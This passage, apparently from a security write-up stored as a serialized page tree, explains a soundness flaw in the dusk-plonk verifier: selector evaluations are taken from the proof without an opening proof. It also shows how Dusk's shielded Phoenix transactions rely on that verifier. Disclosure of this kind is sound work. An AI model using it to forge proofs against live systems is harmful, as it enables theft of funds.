"tag":504,"props":143133,"children":143134},{},[],{"type":23,"tag":504,"props":143136,"children":143138},{"className":143137},[20698],[143139],{"type":28,"value":526},{"type":23,"tag":504,"props":143141,"children":143143},{"className":143142,"style":112355},[2988,20569],[143144],{"type":28,"value":112358},{"type":23,"tag":504,"props":143146,"children":143148},{"className":143147},[20720],[143149],{"type":28,"value":2105},{"type":28,"value":576},{"type":23,"tag":56,"props":143152,"children":143154},{"className":143153},[2960,2961],[143155],{"type":23,"tag":504,"props":143156,"children":143158},{"className":143157},[2966],[143159],{"type":23,"tag":504,"props":143160,"children":143162},{"className":143161,"ariaHidden":2972},[2971],[143163],{"type":23,"tag":504,"props":143164,"children":143166},{"className":143165},[2977],[143167,143171,143228,143233,143238],{"type":23,"tag":504,"props":143168,"children":143170},{"className":143169,"style":3090},[2982],[],{"type":23,"tag":504,"props":143172,"children":143174},{"className":143173},[2988],[143175,143180],{"type":23,"tag":504,"props":143176,"children":143178},{"className":143177},[2988,20569],[143179],{"type":28,"value":116762},{"type":23,"tag":504,"props":143181,"children":143183},{"className":143182},[3005],[143184],{"type":23,"tag":504,"props":143185,"children":143187},{"className":143186},[3010,20623],[143188,143217],{"type":23,"tag":504,"props":143189,"children":143191},{"className":143190},[3015],[143192,143212],{"type":23,"tag":504,"props":143193,"children":143195},{"className":143194,"style":91850},[3020],[143196],{"type":23,"tag":504,"props":143197,"children":143198},{"style":91854},[143199,143203],{"type":23,"tag":504,"props":143200,"children":143202},{"className":143201,"style":3030},[3029],[],{"type":23,"tag":504,"props":143204,"children":143206},{"className":143205},[3035,3036,3037,3038],[143207],{"type":23,"tag":504,"props":143208,"children":143210},{"className":143209},[2988,3038],[143211],{"type":28,"value":2991},{"type":23,"tag":504,"props":143213,"children":143215},{"className":143214},[20726],[143216],{"type":28,"value":20729},{"type":23,"tag":504,"props":143218,"children":143220},{"className":143219},[3015],[143221],{"type":23,"tag":504,"props":143222,"children":143224},{"className":143223,"style":91881},[3020],[143225],{"type":23,"tag":504,"props":143226,"children":143227},{},[],{"type":23,"tag":504,"props":143229,"children":143231},{"className":143230},[20698],[143232],{"type":28,"value":526},{"type":23,"tag":504,"props":143234,"children":143236},{"className":143235,"style":112355},[2988,20569],[143237],{"type":28,"value":112358},{"type":23,"tag":504,"props":143239,"children":143241},{"className":143240},[20720],[143242],{"type":28,"value":2105},{"type":28,"value":143244},", the public-input polynomial at ",{"type":23,"tag":56,"props":143246,"children":143248},{"className":143247},[2960,2961],[143249],{"type":23,"tag":504,"props":143250,"children":143252},{"className":143251},[2966],[143253],{"type":23,"tag":504,"props":143254,"children":143256},{"className":143255,"ariaHidden":2972},[2971],[143257],{"type":23,"tag":504,"props":143258,"children":143260},{"className":143259},[2977],[143261,143265],{"type":23,"tag":504,"props":143262,"children":143264},{"className":143263,"style":109639},[2982],[],{"type":23,"tag":504,"props":143266,"children":143268},{"className":143267,"style":112355},[2988,20569],[143269],{"type":28,"value":112358},{"type":28,"value":143271},"), which are safe because the prover never chooses them. Other values are prover-supplied evaluations accompanied by KZG opening proofs (",{"type":23,"tag":56,"props":143273,"children":143275},{"className":143274},[2960,2961],[143276],{"type":23,"tag":504,"props":143277,"children":143279},{"className":143278},[2966],[143280],{"type":23,"tag":504,"props":143281,"children":143283},{"className":143282,"ariaHidden":2972},[2971],[143284],{"type":23,"tag":504,"props":143285,"children":143287},{"className":143286},[2977],[143288,143292,143297,143302,143307],{"type":23,"tag":504,"props":143289,"children":143291},{"className":143290,"style":3090},[2982],[],{"type":23,"tag":504,"props":143293,"children":143295},{"className":143294},[2988,20569],[143296],{"type":28,"value":92},{"type":23,"tag":504,"props":143298,"children":143300},{"className":143299},[20698],[143301],{"type":28,"value":526},{"type":23,"tag":504,"props":143303,"children":143305},{"className":143304,"style":112355},[2988,20569],[143306],{"type":28,"value":112358},{"type":23,"tag":504,"props":143308,"children":143310},{"className":143309},[20720],[143311],{"type":28,"value":2105},{"type":28,"value":576},{"type":23,"tag":56,"props":143314,"children":143316},{"className":143315},[2960,2961],[143317],{"type":23,"tag":504,"props":143318,"children":143320},{"className":143319},[2966],[143321],{"type":23,"tag":504,"props":143322,"children":143324},{"className":143323,"ariaHidden":2972},[2971],[143325],{"type":23,"tag":504,"props":143326,"children":143328},{"className":143327},[2977],[143329,143333,143338,143343,143348],{"type":23,"tag":504,"props":143330,"children":143332},{"className":143331,"style":3090},[2982],[],{"type":23,"tag":504,"props":143334,"children":143336},{"className":143335},[2988,20569],[143337],{"type":28,"value":2200},{"type":23,"tag":504,"props":143339,"children":143341},{"className":143340},[20698],[143342],{"type":28,"value":526},{"type":23,"tag":504,"props":143344,"children":143346},{"className":143345,"style":112355},[2988,20569],[143347],{"type":28,"value":112358},{"type":23,"tag":504,"props":143349,"children":143351},{"className":143350},[20720],[143352],{"type":28,"value":2105},{"type":28,"value":576},{"type":23,"tag":56,"props":143355,"children":143357},{"className":143356},[2960,2961],[143358],{"type":23,"tag":504,"props":143359,"children":143361},{"className":143360},[2966],[143362],{"type":23,"tag":504,"props":143363,"children":143365},{"className":143364,"ariaHidden":2972},[2971],[143366],{"type":23,"tag":504,"props":143367,"children":143369},{"className":143368},[2977],[143370,143374,143432,143437,143442],{"type":23,"tag":504,"props":143371,"children":143373},{"className":143372,"style":3090},[2982],[],{"type":23,"tag":504,"props":143375,"children":143377},{"className":143376},[2988],[143378,143384],{"type":23,"tag":504,"props":143379,"children":143381},{"className":143380,"style":92284},[2988,20569],[143382],{"type":28,"value":143383},"σ",{"type":23,"tag":504,"props":143385,"children":143387},{"className":143386},[3005],[143388],{"type":23,"tag":504,"props":143389,"children":143391},{"className":143390},[3010,20623],[143392,143421],{"type":23,"tag":504,"props":143393,"children":143395},{"className":143394},[3015],[143396,143416],{"type":23,"tag":504,"props":143397,"children":143399},{"className":143398,"style":91850},[3020],[143400],{"type":23,"tag":504,"props":143401,"children":143402},{"style":92331},[143403,143407],{"type":23,"tag":504,"props":143404,"children":143406},{"className":143405,"style":3030},[3029],[],{"type":23,"tag":504,"props":143408,"children":143410},{"className":143409},[3035,3036,3037,3038],[143411],{"type":23,"tag":504,"props":143412,"children":143414},{"className":143413},[2988,3038],[143415],{"type":28,"value":2991},{"type":23,"tag":504,"props":143417,"children":143419},{"className":143418},[20726],[143420],{"type":28,"value":20729},{"type":23,"tag":504,"props":143422,"children":143424},{"className":143423},[3015],[143425],{"type":23,"tag":504,"props":143426,"children":143428},{"className":143427,"style":91881},[3020],[143429],{"type":23,"tag":504,"props":143430,"children":143431},{},[],{"type":23,"tag":504,"props":143433,"children":143435},{"className":143434},[20698],[143436],{"type":28,"value":526},{"type":23,"tag":504,"props":143438,"children":143440},{"className":143439,"style":112355},[2988,20569],[143441],{"type":28,"value":112358},{"type":23,"tag":504,"props":143443,"children":143445},{"className":143444},[20720],[143446],{"type":28,"value":2105},{"type":28,"value":576},{"type":23,"tag":56,"props":143449,"children":143451},{"className":143450},[2960,2961],[143452],{"type":23,"tag":504,"props":143453,"children":143455},{"className":143454},[2966],[143456],{"type":23,"tag":504,"props":143457,"children":143459},{"className":143458,"ariaHidden":2972},[2971],[143460],{"type":23,"tag":504,"props":143461,"children":143463},{"className":143462},[2977],[143464,143468,143473,143478,143483,143489],{"type":23,"tag":504,"props":143465,"children":143467},{"className":143466,"style":3090},[2982],[],{"type":23,"tag":504,"props":143469,"children":143471},{"className":143470},[2988,20569],[143472],{"type":28,"value":92},{"type":23,"tag":504,"props":143474,"children":143476},{"className":143475},[20698],[143477],{"type":28,"value":526},{"type":23,"tag":504,"props":143479,"children":143481},{"className":143480,"style":112355},[2988,20569],[143482],{"type":28,"value":112358},{"type":23,"tag":504,"props":143484,"children":143486},{"className":143485,"style":92284},[2988,20569],[143487],{"type":28,"value":143488},"ω",{"type":23,"tag":504,"props":143490,"children":143492},{"className":143491},[20720],[143493],{"type":28,"value":2105},{"type":28,"value":143495},"), which are safe because the opening binds them to previously committed polynomials. A third category consists of verifier-key commitments used directly in the linearization multiscalar multiplication (",{"type":23,"tag":56,"props":143497,"children":143499},{"className":143498},[2960,2961],[143500],{"type":23,"tag":504,"props":143501,"children":143503},{"className":143502},[2966],[143504],{"type":23,"tag":504,"props":143505,"children":143507},{"className":143506,"ariaHidden":2972},[2971],[143508],{"type":23,"tag":504,"props":143509,"children":143511},{"className":143510},[2977],[143512,143516,143521,143578],{"type":23,"tag":504,"props":143513,"children":143515},{"className":143514,"style":3090},[2982],[],{"type":23,"tag":504,"props":143517,"children":143519},{"className":143518},[20698],[143520],{"type":28,"value":2711},{"type":23,"tag":504,"props":143522,"children":143524},{"className":143523},[2988],[143525,143530],{"type":23,"tag":504,"props":143526,"children":143528},{"className":143527,"style":92284},[2988,20569],[143529],{"type":28,"value":92287},{"type":23,"tag":504,"props":143531,"children":143533},{"className":143532},[3005],[143534],{"type":23,"tag":504,"props":143535,"children":143537},{"className":143536},[3010,20623],[143538,143567],{"type":23,"tag":504,"props":143539,"children":143541},{"className":143540},[3015],[143542,143562],{"type":23,"tag":504,"props":143543,"children":143545},{"className":143544,"style":141353},[3020],[143546],{"type":23,"tag":504,"props":143547,"children":143548},{"style":92331},[143549,143553],{"type":23,"tag":504,"props":143550,"children":143552},{"className":143551,"style":3030},[3029],[],{"type":23,"tag":504,"props":143554,"children":143556},{"className":143555},[3035,3036,3037,3038],[143557],{"type":23,"tag":504,"props":143558,"children":143560},{"className":143559,"style":93806},[2988,20569,3038],[143561],{"type":28,"value":93809},{"type":23,"tag":504,"props":143563,"children":143565},{"className":143564},[20726],[143566],{"type":28,"value":20729},{"type":23,"tag":504,"props":143568,"children":143570},{"className":143569},[3015],[143571],{"type":23,"tag":504,"props":143572,"children":143574},{"className":143573,"style":91881},[3020],[143575],{"type":23,"tag":504,"props":143576,"children":143577},{},[],{"type":23,"tag":504,"props":143579,"children":143581},{"className":143580},[20720],[143582],{"type":28,"value":14391},{"type":28,"value":576},{"type":23,"tag":56,"props":143585,"children":143587},{"className":143586},[2960,2961],[143588],{"type":23,"tag":504,"props":143589,"children":143591},{"className":143590},[2966],[143592],{"type":23,"tag":504,"props":143593,"children":143595},{"className":143594,"ariaHidden":2972},[2971],[143596],{"type":23,"tag":504,"props":143597,"children":143599},{"className":143598},[2977],[143600,143604,143609,143666],{"type":23,"tag":504,"props":143601,"children":143603},{"className":143602,"style":3090},[2982],[],{"type":23,"tag":504,"props":143605,"children":143607},{"className":143606},[20698],[143608],{"type":28,"value":2711},{"type":23,"tag":504,"props":143610,"children":143612},{"className":143611},[2988],[143613,143618],{"type":23,"tag":504,"props":143614,"children":143616},{"className":143615,"style":92284},[2988,20569],[143617],{"type":28,"value":92287},{"type":23,"tag":504,"props":143619,"children":143621},{"className":143620},[3005],[143622],{"type":23,"tag":504,"props":143623,"children":143625},{"className":143624},[3010,20623],[143626,143655],{"type":23,"tag":504,"props":143627,"children":143629},{"className":143628},[3015],[143630,143650],{"type":23,"tag":504,"props":143631,"children":143633},{"className":143632,"style":141353},[3020],[143634],{"type":23,"tag":504,"props":143635,"children":143636},{"style":92331},[143637,143641],{"type":23,"tag":504,"props":143638,"children":143640},{"className":143639,"style":3030},[3029],[],{"type":23,"tag":504,"props":143642,"children":143644},{"className":143643},[3035,3036,3037,3038],[143645],{"type":23,"tag":504,"props":143646,"children":143648},{"className":143647,"style":91798},[2988,20569,3038],[143649],{"type":28,"value":114117},{"type":23,"tag":504,"props":143651,"children":143653},{"className":143652},[20726],[143654],{"type":28,"value":20729},{"type":23,"tag":504,"props":143656,"children":143658},{"className":143657},[3015],[143659],{"type":23,"tag":504,"props":143660,"children":143662},{"className":143661,"style":91881},[3020],[143663],{"type":23,"tag":504,"props":143664,"children":143665},{},[],{"type":23,"tag":504,"props":143667,"children":143669},{"className":143668},[20720],[143670],{"type":28,"value":14391},{"type":28,"value":576},{"type":23,"tag":56,"props":143673,"children":143675},{"className":143674},[2960,2961],[143676],{"type":23,"tag":504,"props":143677,"children":143679},{"className":143678},[2966],[143680],{"type":23,"tag":504,"props":143681,"children":143683},{"className":143682,"ariaHidden":2972},[2971],[143684],{"type":23,"tag":504,"props":143685,"children":143687},{"className":143686},[2977],[143688,143692,143697,143754],{"type":23,"tag":504,"props":143689,"children":143691},{"className":143690,"style":3090},[2982],[],{"type":23,"tag":504,"props":143693,"children":143695},{"className":143694},[20698],[143696],{"type":28,"value":2711},{"type":23,"tag":504,"props":143698,"children":143700},{"className":143699},[2988],[143701,143706],{"type":23,"tag":504,"props":143702,"children":143704},{"className":143703,"style":92284},[2988,20569],[143705],{"type":28,"value":143383},{"type":23,"tag":504,"props":143707,"children":143709},{"className":143708},[3005],[143710],{"type":23,"tag":504,"props":143711,"children":143713},{"className":143712},[3010,20623],[143714,143743],{"type":23,"tag":504,"props":143715,"children":143717},{"className":143716},[3015],[143718,143738],{"type":23,"tag":504,"props":143719,"children":143721},{"className":143720,"style":91850},[3020],[143722],{"type":23,"tag":504,"props":143723,"children":143724},{"style":92331},[143725,143729],{"type":23,"tag":504,"props":143726,"children":143728},{"className":143727,"style":3030},[3029],[],{"type":23,"tag":504,"props":143730,"children":143732},{"className":143731},[3035,3036,3037,3038],[143733],{"type":23,"tag":504,"props":143734,"children":143736},{"className":143735},[2988,3038],[143737],{"type":28,"value":16508},{"type":23,"tag":504,"props":143739,"children":143741},{"className":143740},[20726],[143742],{"type":28,"value":20729},{"type":23,"tag":504,"props":143744,"children":143746},{"className":143745},[3015],[143747],{"type":23,"tag":504,"props":143748,"children":143750},{"className":143749,"style":91881},[3020],[143751],{"type":23,"tag":504,"props":143752,"children":143753},{},[],{"type":23,"tag":504,"props":143755,"children":143757},{"className":143756},[20720],[143758],{"type":28,"value":14391},{"type":28,"value":143760},"), which are safe because the verifier never trusts a bare field element for these; it uses the commitment itself.",{"type":23,"tag":24,"props":143762,"children":143763},{},[143764],{"type":28,"value":143765},"Any term that falls outside those three categories is attacker-controlled by construction.",{"type":23,"tag":17774,"props":143767,"children":143768},{},[],{"type":23,"tag":70,"props":143770,"children":143772},{"id":143771},"where-dusk-plonk-differs-from-textbook-plonk",[143773],{"type":28,"value":143774},"Where dusk-plonk differs from textbook PLONK",{"type":23,"tag":24,"props":143776,"children":143777},{},[143778,143787,143789,143794,143796,143826],{"type":23,"tag":92,"props":143779,"children":143781},{"href":140653,"rel":143780},[96],[143782],{"type":23,"tag":56,"props":143783,"children":143785},{"className":143784},[],[143786],{"type":28,"value":140657},{"type":28,"value":143788}," is not a literal transcription of the 2019 PLONK paper. It extends the arithmetic gate with a fourth wire ",{"type":23,"tag":56,"props":143790,"children":143792},{"className":143791},[],[143793],{"type":28,"value":1169},{"type":28,"value":143795},", adds custom widgets for range, logic, and elliptic-curve operations, uses shifted evaluations at ",{"type":23,"tag":56,"props":143797,"children":143799},{"className":143798},[2960,2961],[143800],{"type":23,"tag":504,"props":143801,"children":143803},{"className":143802},[2966],[143804],{"type":23,"tag":504,"props":143805,"children":143807},{"className":143806,"ariaHidden":2972},[2971],[143808],{"type":23,"tag":504,"props":143809,"children":143811},{"className":143810},[2977],[143812,143816,143821],{"type":23,"tag":504,"props":143813,"children":143815},{"className":143814,"style":109639},[2982],[],{"type":23,"tag":504,"props":143817,"children":143819},{"className":143818,"style":112355},[2988,20569],[143820],{"type":28,"value":112358},{"type":23,"tag":504,"props":143822,"children":143824},{"className":143823,"style":92284},[2988,20569],[143825],{"type":28,"value":143488},{"type":28,"value":143827},", and heavily batches KZG openings. None of that is exotic by modern PLONK standards, but it does make the verifier harder to reason about than the minimal paper presentation.",{"type":23,"tag":24,"props":143829,"children":143830},{},[143831,143833,143838,143839,143844,143846,143852,143854,143861],{"type":28,"value":143832},"The important part for this bug is the boundary between ",{"type":23,"tag":296,"props":143834,"children":143835},{},[143836],{"type":28,"value":143837},"public circuit data",{"type":28,"value":430},{"type":23,"tag":296,"props":143840,"children":143841},{},[143842],{"type":28,"value":143843},"prover claims about that data at the random challenge point",{"type":28,"value":143845},". Parallel implementations avoid this ambiguity by keeping selector polynomials strictly out of the prover's hands. For example, Consensys' gnark (one of the most widely deployed PLONK implementations) never asks the prover for selector evaluations at all. Instead, the verifier incorporates the selector commitments ",{"type":23,"tag":56,"props":143847,"children":143849},{"className":143848},[],[143850],{"type":28,"value":143851},"Ql, Qr, Qm, Qo, Qk",{"type":28,"value":143853}," directly into the ",{"type":23,"tag":92,"props":143855,"children":143858},{"href":143856,"rel":143857},"https://github.com/Consensys/gnark/blob/17b079f1b813d9dafd465202466b09f282b4c5e9/backend/plonk/bls12-381/verify.go#L253-L270",[96],[143859],{"type":28,"value":143860},"linearization multi-scalar multiplication",{"type":28,"value":143862},", ensuring their values are cryptographically bound by construction.",{"type":23,"tag":24,"props":143864,"children":143865},{},[143866,143868,143893],{"type":28,"value":143867},"Dusk's custom widgets were more complex (multiplying selectors with other evaluated terms), so they could not just use a simple linear combination of commitments. Their architecture required evaluating the selectors at ",{"type":23,"tag":56,"props":143869,"children":143871},{"className":143870},[2960,2961],[143872],{"type":23,"tag":504,"props":143873,"children":143875},{"className":143874},[2966],[143876],{"type":23,"tag":504,"props":143877,"children":143879},{"className":143878,"ariaHidden":2972},[2971],[143880],{"type":23,"tag":504,"props":143881,"children":143883},{"className":143882},[2977],[143884,143888],{"type":23,"tag":504,"props":143885,"children":143887},{"className":143886,"style":109639},[2982],[],{"type":23,"tag":504,"props":143889,"children":143891},{"className":143890,"style":112355},[2988,20569],[143892],{"type":28,"value":112358},{"type":28,"value":143894}," and using those scalars. But while they serialized those four selector evaluations into the proof struct, they never actually verified them against the verifier key's commitments through an opening proof.",{"type":23,"tag":24,"props":143896,"children":143897},{},[143898],{"type":28,"value":143899},"The shortest way to see the bug is the graph below: safe values flow through the opening path toward the final pairing check, while the red selector flow enters verifier logic without ever touching an opening proof.",{"type":23,"tag":143901,"props":143902,"children":143903},"dusk-verifier-dependence-graph",{},[],{"type":23,"tag":17774,"props":143905,"children":143906},{},[],{"type":23,"tag":70,"props":143908,"children":143910},{"id":143909},"how-dusk-uses-plonk",[143911],{"type":28,"value":143912},"How Dusk uses PLONK",{"type":23,"tag":24,"props":143914,"children":143915},{},[143916,143922],{"type":23,"tag":92,"props":143917,"children":143919},{"href":140662,"rel":143918},[96],[143920],{"type":28,"value":143921},"Dusk Network",{"type":28,"value":143923}," is a privacy-focused L1 blockchain. Its transaction model has two modes:",{"type":23,"tag":350,"props":143925,"children":143926},{},[143927,143932],{"type":23,"tag":45,"props":143928,"children":143929},{},[143930],{"type":28,"value":143931},"Phoenix (shielded): amounts and participants are hidden using ZK proofs, and every Phoenix transaction carries a PLONK proof that the transaction is valid.",{"type":23,"tag":45,"props":143933,"children":143934},{},[143935],{"type":28,"value":143936},"Moonlight (transparent): standard account-based transactions verified by BLS signatures, with no PLONK involvement.",{"type":23,"tag":24,"props":143938,"children":143939},{},[143940,143942,143953,143955,143966],{"type":28,"value":143941},"At node level, every ",{"type":23,"tag":92,"props":143943,"children":143946},{"href":143944,"rel":143945},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L152-L185",[96],[143947],{"type":23,"tag":56,"props":143948,"children":143950},{"className":143949},[],[143951],{"type":28,"value":143952},"ProtocolTransaction::Phoenix",{"type":28,"value":143954}," goes through ",{"type":23,"tag":92,"props":143956,"children":143959},{"href":143957,"rel":143958},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/verifier.rs#L71-L82",[96],[143960],{"type":23,"tag":56,"props":143961,"children":143963},{"className":143962},[],[143964],{"type":28,"value":143965},"verify_proof_with_version()",{"type":28,"value":143967}," during preverification. If that PLONK proof verifies, the transaction is admitted to the mempool and can later be mined into a block. Moonlight-path transactions instead go through BLS signature verification.",{"type":23,"tag":24,"props":143969,"children":143970},{},[143971,143973,143984,143986,143997,143998,144009,144010,144021,144022,144033],{"type":28,"value":143972},"That same Phoenix proof path covers more than simple shielded transfers. Phoenix-path staking, reward withdrawals, unstaking, and Phoenix-to-Moonlight conversion all build a Phoenix transaction via ",{"type":23,"tag":92,"props":143974,"children":143977},{"href":143975,"rel":143976},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L54-L95",[96],[143978],{"type":23,"tag":56,"props":143979,"children":143981},{"className":143980},[],[143982],{"type":28,"value":143983},"phoenix()",{"type":28,"value":143985},", for example in ",{"type":23,"tag":92,"props":143987,"children":143990},{"href":143988,"rel":143989},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L144-L186",[96],[143991],{"type":23,"tag":56,"props":143992,"children":143994},{"className":143993},[],[143995],{"type":28,"value":143996},"phoenix_stake()",{"type":28,"value":576},{"type":23,"tag":92,"props":143999,"children":144002},{"href":144000,"rel":144001},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L240-L298",[96],[144003],{"type":23,"tag":56,"props":144004,"children":144006},{"className":144005},[],[144007],{"type":28,"value":144008},"phoenix_stake_reward()",{"type":28,"value":576},{"type":23,"tag":92,"props":144011,"children":144014},{"href":144012,"rel":144013},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L358-L416",[96],[144015],{"type":23,"tag":56,"props":144016,"children":144018},{"className":144017},[],[144019],{"type":28,"value":144020},"phoenix_unstake()",{"type":28,"value":5471},{"type":23,"tag":92,"props":144023,"children":144026},{"href":144024,"rel":144025},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L481-L539",[96],[144027],{"type":23,"tag":56,"props":144028,"children":144030},{"className":144029},[],[144031],{"type":28,"value":144032},"phoenix_to_moonlight()",{"type":28,"value":144034},". So if Phoenix proof verification is unsound, the entire shielded transaction path is exposed.",{"type":23,"tag":24,"props":144036,"children":144037},{},[144038],{"type":23,"tag":126,"props":144039,"children":144042},{"alt":144040,"src":144041},"phoenix_moonlight","/posts/dusk-commitment-issues/phoenix_moonlight.svg",[],{"type":23,"tag":24,"props":144044,"children":144045},{},[144046,144048,144054,144056,144063],{"type":28,"value":144047},"The PLONK implementation, ",{"type":23,"tag":92,"props":144049,"children":144052},{"href":144050,"rel":144051},"https://github.com/dusk-network/plonk",[96],[144053],{"type":28,"value":140657},{"type":28,"value":144055},", is a standalone library by the Dusk team. It was among the first PLONK implementations written, with development starting the same year ",{"type":23,"tag":92,"props":144057,"children":144060},{"href":144058,"rel":144059},"https://eprint.iacr.org/archive/2019/953/1566424053.pdf",[96],[144061],{"type":28,"value":144062},"the original paper",{"type":28,"value":144064}," was released.",{"type":23,"tag":24,"props":144066,"children":144067},{},[144068,144070,144076],{"type":28,"value":144069},"The Phoenix transaction PLONK circuit is defined ",{"type":23,"tag":92,"props":144071,"children":144074},{"href":144072,"rel":144073},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L20-L205",[96],[144075],{"type":28,"value":46564},{"type":28,"value":144077},". The circuit enforces the following set of constraints:",{"type":23,"tag":54723,"props":144079,"children":144080},{},[144081,144097],{"type":23,"tag":121749,"props":144082,"children":144083},{},[144084],{"type":23,"tag":121753,"props":144085,"children":144086},{},[144087,144092],{"type":23,"tag":121757,"props":144088,"children":144089},{},[144090],{"type":28,"value":144091},"Circuit check",{"type":23,"tag":121757,"props":144093,"children":144094},{},[144095],{"type":28,"value":144096},"Statement being checked",{"type":23,"tag":121777,"props":144098,"children":144099},{},[144100,144118,144136,144154,144172,144329,144469,144487],{"type":23,"tag":121753,"props":144101,"children":144102},{},[144103,144113],{"type":23,"tag":121784,"props":144104,"children":144105},{},[144106],{"type":23,"tag":92,"props":144107,"children":144110},{"href":144108,"rel":144109},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L106-L126",[96],[144111],{"type":28,"value":144112},"Merkle tree membership",{"type":23,"tag":121784,"props":144114,"children":144115},{},[144116],{"type":28,"value":144117},"Each input note hash is opened against the public Merkle root, so only notes already in the note tree may be spent",{"type":23,"tag":121753,"props":144119,"children":144120},{},[144121,144131],{"type":23,"tag":121784,"props":144122,"children":144123},{},[144124],{"type":23,"tag":92,"props":144125,"children":144128},{"href":144126,"rel":144127},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L70-L79",[96],[144129],{"type":28,"value":144130},"Input-note secret-key authorization",{"type":23,"tag":121784,"props":144132,"children":144133},{},[144134],{"type":28,"value":144135},"The prover knows the secret key controlling each input note",{"type":23,"tag":121753,"props":144137,"children":144138},{},[144139,144149],{"type":23,"tag":121784,"props":144140,"children":144141},{},[144142],{"type":23,"tag":92,"props":144143,"children":144146},{"href":144144,"rel":144145},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L81-L87",[96],[144147],{"type":28,"value":144148},"Nullifier correctness",{"type":23,"tag":121784,"props":144150,"children":144151},{},[144152],{"type":28,"value":144153},"Each nullifier matches the corresponding note key and position",{"type":23,"tag":121753,"props":144155,"children":144156},{},[144157,144167],{"type":23,"tag":121784,"props":144158,"children":144159},{},[144160],{"type":23,"tag":92,"props":144161,"children":144164},{"href":144162,"rel":144163},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L149-L160",[96],[144165],{"type":28,"value":144166},"Output value commitment correctness",{"type":23,"tag":121784,"props":144168,"children":144169},{},[144170],{"type":28,"value":144171},"Each public output commitment matches the secret output value and blinder",{"type":23,"tag":121753,"props":144173,"children":144174},{},[144175,144185],{"type":23,"tag":121784,"props":144176,"children":144177},{},[144178],{"type":23,"tag":92,"props":144179,"children":144182},{"href":144180,"rel":144181},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L167-L178",[96],[144183],{"type":28,"value":144184},"Balance integrity",{"type":23,"tag":121784,"props":144186,"children":144187},{},[144188],{"type":23,"tag":56,"props":144189,"children":144191},{"className":144190},[2960,2961],[144192],{"type":23,"tag":504,"props":144193,"children":144195},{"className":144194},[2966],[144196],{"type":23,"tag":504,"props":144197,"children":144199},{"className":144198,"ariaHidden":2972},[2971],[144200,144240,144280,144312],{"type":23,"tag":504,"props":144201,"children":144203},{"className":144202},[2977],[144204,144208,144213,144217,144227,144231,144236],{"type":23,"tag":504,"props":144205,"children":144207},{"className":144206,"style":3090},[2982],[],{"type":23,"tag":504,"props":144209,"children":144211},{"className":144210,"style":20612},[20605,20610,20611],[144212],{"type":28,"value":107593},{"type":23,"tag":504,"props":144214,"children":144216},{"className":144215,"style":3108},[3069],[],{"type":23,"tag":504,"props":144218,"children":144220},{"className":144219},[2988,28],[144221],{"type":23,"tag":504,"props":144222,"children":144224},{"className":144223},[2988],[144225],{"type":28,"value":144226},"inputs",{"type":23,"tag":504,"props":144228,"children":144230},{"className":144229,"style":3167},[3069],[],{"type":23,"tag":504,"props":144232,"children":144234},{"className":144233},[3172],[144235],{"type":28,"value":601},{"type":23,"tag":504,"props":144237,"children":144239},{"className":144238,"style":3167},[3069],[],{"type":23,"tag":504,"props":144241,"children":144243},{"className":144242},[2977],[144244,144248,144253,144257,144267,144271,144276],{"type":23,"tag":504,"props":144245,"children":144247},{"className":144246,"style":3090},[2982],[],{"type":23,"tag":504,"props":144249,"children":144251},{"className":144250,"style":20612},[20605,20610,20611],[144252],{"type":28,"value":107593},{"type":23,"tag":504,"props":144254,"children":144256},{"className":144255,"style":3108},[3069],[],{"type":23,"tag":504,"props":144258,"children":144260},{"className":144259},[2988,28],[144261],{"type":23,"tag":504,"props":144262,"children":144264},{"className":144263},[2988],[144265],{"type":28,"value":144266},"outputs",{"type":23,"tag":504,"props":144268,"children":144270},{"className":144269,"style":3070},[3069],[],{"type":23,"tag":504,"props":144272,"children":144274},{"className":144273},[3075],[144275],{"type":28,"value":1642},{"type":23,"tag":504,"props":144277,"children":144279},{"className":144278,"style":3070},[3069],[],{"type":23,"tag":504,"props":144281,"children":144283},{"className":144282},[2977],[144284,144289,144299,144303,144308],{"type":23,"tag":504,"props":144285,"children":144288},{"className":144286,"style":144287},[2982],"height:0.7778em;vertical-align:-0.0833em;",[],{"type":23,"tag":504,"props":144290,"children":144292},{"className":144291},[2988,28],[144293],{"type":23,"tag":504,"props":144294,"children":144296},{"className":144295},[2988],[144297],{"type":28,"value":144298},"fee",{"type":23,"tag":504,"props":144300,"children":144302},{"className":144301,"style":3070},[3069],[],{"type":23,"tag":504,"props":144304,"children":144306},{"className":144305},[3075],[144307],{"type":28,"value":1642},{"type":23,"tag":504,"props":144309,"children":144311},{"className":144310,"style":3070},[3069],[],{"type":23,"tag":504,"props":144313,"children":144315},{"className":144314},[2977],[144316,144320],{"type":23,"tag":504,"props":144317,"children":144319},{"className":144318,"style":113853},[2982],[],{"type":23,"tag":504,"props":144321,"children":144323},{"className":144322},[2988,28],[144324],{"type":23,"tag":504,"props":144325,"children":144327},{"className":144326},[2988],[144328],{"type":28,"value":60942},{"type":23,"tag":121753,"props":144330,"children":144331},{},[144332,144349],{"type":23,"tag":121784,"props":144333,"children":144334},{},[144335,144342,144343],{"type":23,"tag":92,"props":144336,"children":144339},{"href":144337,"rel":144338},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/c